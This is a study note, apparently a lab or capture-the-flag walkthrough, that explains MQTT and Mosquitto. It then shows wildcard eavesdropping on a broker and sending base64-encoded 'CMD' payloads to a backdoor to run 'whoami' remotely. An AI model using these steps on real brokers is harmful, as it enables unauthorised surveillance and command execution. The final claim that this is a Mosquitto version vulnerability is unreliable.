#MQTT #mosquitto #subscriber #publisher

1. MQTT *Message Queuing Telemetry Transport*
    1. it is a protocol used to communion b/w device mainly IOT's
2. Mosquito
    1. It is a open-source broker which helps to communicate to MQTT protocol

⟶ It works on a subscriber / publisher model
subscriber :
A subscriber is a client that listens (or subscribes) to a specific topic.
When a message is published to that topic, the MQTT broker sends the message to all subscribers of that topic

- **publisher** :
    - *A publisher is a client that sends (or publishes) messages to a specific topic on the MQTT broker.
    - The publisher does not need to know who will receive these messages;
    - it simply sends data to a topic and leaves the responsibility of distributing the message to the broker.*
- **topic** : *it is a path where the messaged is to be transferred.*
  → Example : /home/kitchen/heater
- ⟶ The MQTT Broker allotted different topic (paths) to different subscribers (devices) which are controlled by publishers (user/machine).

Tools

--> `sudo apt install mosquitto mosquitto-client -y`

```
Notes :
'#' --> used for all
* --> used for one
example : /home/kitchen/# -> it will send msg to all the
appliances to kitchen
```

- `mosquitto_sub` ⟶ used to get the messages which are rerceived by the subscriber
  ⟶ *syntax :*
  → `mosquitto_sub -t "#" -h 10.10.232.80`

-
  ```
  `mosquitto_pub` --> used to publish (send) messages to
  the subscriber.
  ```

---

1. First capture all the message / subscriber / topic etc on the service
   `mosquitto_sub -t "#" -h 10.10.232.80`
   → it might looks like

```
{"id":6303134845423256684,"gain":45}
{"id":7062282878224178102,"color":"GREEN","status":"ON"}
{"id":5297822194260674402,"temperature":24.360235}

<-SNIP->

{"id":11505589973457021977,"temperature":23.719482}
eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsI
nJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdW
JfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWI
iLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcw
RS9zdWIifQ==
{"id":16076301308523402932,"color":"RED","status":"ON"}

<-SNIP->
```

⟶ Decode b64 string in urge to get something useful

```
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","registered_commands":["HELP","CMD","SYS"],"pub_topic":"U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub","sub_topic":"XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub"}
```

→ We found *pub_topic* → `'U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub'` and *sub_topic* → `XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub`

→ If we can find these both , then we can able to send messages to them and get respose

1. setup subscriber to get message `mosquitto_sub -h 10.10.179.191 -t 'U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub'`
2. send msg using publisher client `mosquitto_pub -h 10.10.179.191 -p 1883 -t "XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub" -m "CMD ls"`
3. now here , we send CMD because we have registered command ,entioned in the respose we got from b64 decoded string
4. → we got a respose :

```
Invalid message format.
Format: base64({"id": "<backdoor id>", "cmd": "<command>", "arg": "<argument>"})
```

NOTE : So , first we have to create a message in same format then convert that into B64 & then we have to sent it though publisher

EXAMPLE

```
    {"id": "cdd1b1c0-1c40-4b0f-8e22-61b357548b7d", "cmd":
"CMD", "arg": "whoami"}
```

Convert it into Base64

```
eyJpZCI6ICJjZGQxYjFjMC0xYzQwLTRiMGYtOGUyMi02MWIzNTc1NDhiN2QiL
CAiY21kIjogIkNNRCIsICJhcmciOiAid2hvYW1pIn0=
```

Send it
`mosquitto_pub -h 10.10.179.191 -p 1883 -t "XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub" -m eyJpZCI6ICJjZGQxYjFjMC0xYzQwLTRiMGYtOGUyMi02MWIzNTc1NDhiN2QiLCAiY21kIjogIkNNRCIsICJhcmciOiAid2hvYW1pIn0='

→ then we'll get a response on subscriber we setup in point 1 in b64
→ decode it and you'll get `whoami` result.

version : ***mosquitto version 2.0.14***

NOTE : This was based on this particular version but there's will be similar type of vulnerability you might found in different versions.